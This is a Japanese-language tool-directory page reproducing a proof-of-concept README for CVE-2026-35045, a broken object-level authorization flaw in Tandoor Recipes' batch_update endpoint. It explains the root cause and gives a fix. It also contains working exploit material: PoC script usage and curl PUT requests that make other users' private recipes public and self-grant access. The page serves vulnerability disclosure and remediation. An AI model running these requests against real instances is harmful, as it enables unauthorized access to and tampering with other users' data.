Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/filipegaudard/cve-2026-35045-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用APIセキュリティテストペネトレーションテスト学習と教育
GitHubfilipegaudard/cve-2026-35045-poc

CVE-2026-35045-PoC

CVE-2026-35045の概念実証エクスプロイト。Tandoor Recipesにおけるオブジェクトレベル認可の欠陥(BOLA)を悪用し、batch_update APIエンドポイントを介した不正なレシピ改変を実証します。

リポジトリを見る
114ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-35045 — Tandoor Recipes におけるオブジェクトレベル認可の欠陥

CVE-2026-35045 GHSA CVSS 8.1 CWE-639

Affected Version Responsible Disclosure


概要

Tandoor Recipes v2.6.1 の PUT /api/recipe/batch_update/ エンドポイントは、スペース内の任意の認証済みユーザーがそのスペース内の任意のレシピ(他のユーザーが所有するプライベートレシピを含む)を変更することを許可します。これにより、すべての標準的な単一レシピエンドポイントで強制されるオブジェクトレベル認可チェックが完全にバイパスされます。

根本原因は Django REST Framework の動作上のギャップです: detail=False のリストアクションは を決して呼び出さず、 のみを呼び出します。クエリセットは のみでフィルタリングされ、、、 リストのチェックは行われません。攻撃者は、プライベートレシピの強制公開、永続的アクセスの自己付与、他のユーザーの権限の剥奪、メタデータの改ざんを、すべて単一の認証らしき API 呼び出しで実行でき、空のボディで が返されます。

has_object_permission()
has_permission()
space=request.space
created_by
private
shared
HTTP 200 OK

脆弱性の詳細

フィールド値
CVE IDCVE-2026-35045
GHSAGHSA-v8x3-w674-55p5
CWECWE-639 — ユーザー制御キーによる認可バイパス
CVSS v3.18.1 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
影響を受けるバージョンTandoor Recipes ≤ 2.6.1
ベンダーTandoorRecipes/recipes

MITRE ATT&CK マッピング

テクニック ID名称関連性
T1078有効なアカウント攻撃者は正当な低権限の認証情報を使用して認可をバイパスします
T1565.001保存データの改ざん他のユーザーが所有するプライベートレシピと ACL を変更します

根本原因分析

1. detail=False によるオブジェクトレベル権限チェックのバイパス

ファイル: cookbook/views/api.py

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space   # ← created_by や private のチェックなし
        )

Django REST Framework では、detail=False で登録されたアクションはリストアクションです。これらは get_object() を決して呼び出さないため、check_object_permissions() と CustomRecipePermission.has_object_permission() は決して呼び出されません。実行されるのは has_permission() のみで、これはスペースのメンバーシップを検証するだけで、レシピの所有権は検証しません。

2. 標準エンドポイントは正しく保護されている

PUT /api/recipe/{id}/ は完全な DRF 権限フローに従います:

root@kitploit:~
get_object()
  → check_object_permissions()
    → CustomRecipePermission.has_object_permission()
      → レシピがプライベートで、リクエスト者が所有者または共有相手でない場合、アクセスを拒否

batch_update エンドポイントはこのチェーン全体を黙ってスキップします。

3. バッチ経由で書き込み可能なフィールド

RecipeBatchUpdateSerializer は以下のフィールドを公開しており、スペース内の任意のレシピに対して書き込み可能です:

フィールド影響
privateレシピの可視性を切り替え
shared_add / shared_remove / shared_setアクセス制御リストを操作
keywords_add / keywords_remove / keywords_setレシピのメタデータを変更
working_time / waiting_timeレシピの時間データを変更

攻撃フロー

root@kitploit:~
┌──────────┐   ① PUT /api/recipe/batch_update/    ┌─────────────────┐
│ 攻撃者   │ ─────────────────────────────────────→│  Tandoor サーバー │
│ (ユーザーB)│   {"recipes":[2],"private":false,     │                 │
│          │    "shared_add":[2]}                  │  has_permission()│
└──────────┘                                       │  ✓ (スペースメンバー)│
                                                   │                 │
                                                   │  has_object_    │
                                                   │  permission()   │
                                                   │  ✗ 呼び出されない │
                                                   └────────┬────────┘
                                                            │
                                              ② Recipe.objects.filter(
                                                 id__in=[2],
                                                 space=request.space
                                              )  ← 所有権チェックなし
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │  レシピ ID 2   │
                                                   │  (A が所有)     │
                                                   │  private=false ← パッチ適用
                                                   │  shared=[2]  ← 自己付与
                                                   └────────┬───────┘
                                                            │
                                              ③ HTTP 200 OK — {}
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │ 攻撃者 (B)     │
                                                   │ レシピ ID 2 への│
                                                   │ 完全なアクセスを │
                                                   │ 取得           │
                                                   └────────────────┘

概念実証

要件

  • Python 3.10+
  • requests ライブラリ
root@kitploit:~
pip install requests

使用方法

root@kitploit:~
# プライベートレシピを強制公開し、アクセスを自己付与(デフォルト)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2

# 強制公開のみ(private=false を設定)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action expose

# 自己付与のみ(shared リストに追加、private=true を維持)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action self_grant

モジュール / アクション

アクション説明
expose対象レシピに private: false を設定 — スペースの全メンバーに可視化を強制
self_grant攻撃者のユーザー ID を shared_add に追加 — レシピがプライベートのままでも永続的なアクセスを付与
both単一リクエストで両方のアクションを実行(デフォルト)

手動検証 (curl)

1. 事前条件 — 標準エンドポイントではレシピにアクセス不可

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# 期待値: 404 (プライベート、非所有)

2. エクスプロイト — 認可なしの batch_update

root@kitploit:~
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
  -H 'Content-Type: application/json' \
  -H 'X-CSRFToken: CSRF_B' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  -d '{"recipes": [2], "shared_add": [2], "private": false}'
# 期待値: HTTP 200 OK — {}

3. 事後条件 — レシピにアクセス可能になる

root@kitploit:~
curl -s http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# 期待値: HTTP 200、レシピデータ付き、private=false

4. レシピ一覧で検証

root@kitploit:~
curl -s 'http://TARGET:8085/api/recipe/' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  | python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# 期待値: 2  <recipe_name>  False

影響

影響領域説明深刻度
レシピの強制公開private: false を設定すると、任意のレシピがスペースの全メンバーに表示される高
不正な自己付与shared_add で自分のユーザー ID を追加すると、任意のレシピへの永続的な読み書きアクセスが付与される高
アクセス権の剥奪shared_remove または shared_set を使用して、レシピの共有リストから正当なユーザーを削除する高
メタデータの改ざん他のユーザーが所有するレシピの working_time、waiting_time、keywords を変更する中

修正方法

即時修正

クエリセットを created_by=request.user でフィルタリングして、バッチ操作を所有レシピに制限します:

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space,
            created_by=self.request.user,  # ← 修正: 所有レシピに制限
        )

多層防御

スペース管理者が任意のレシピをバッチ更新する機能を必要とする場合は、ロールベースの条件を追加します:

root@kitploit:~
if is_space_owner(request.user, request.space):
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
    )
else:
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
        created_by=self.request.user,
    )

DRF に関する一般的なガイダンス

個々のオブジェクトを操作する detail=False アクションは、手動でオブジェクトレベル認可を強制する必要があります。DRF の has_object_permission() はリストアクションでは決して呼び出されません — この責任は完全に開発者にあります。


参考情報

  • GHSA-v8x3-w674-55p5
  • CVE-2026-35045
  • CWE-639: ユーザー制御キーによる認可バイパス
  • DRF — カスタムアクションと権限チェック
  • OWASP API Security Top 10 — API1:2023 オブジェクトレベル認可の欠陥
  • MITRE ATT&CK T1078 — 有効なアカウント
  • MITRE ATT&CK T1565.001 — 保存データの改ざん

免責事項

この概念実証は、認可されたセキュリティテストおよび教育目的のみで提供されています。コンピュータシステムへの不正アクセスは違法です。作者は本ツールの誤用について一切の責任を負いません。


著者

Filipe Gaudard — 攻撃的セキュリティ研究者 | eWPT | eWPTx

  • GitHub: @FilipeGaudard
  • LinkedIn: Filipe Gaudard
ツールをダウンロード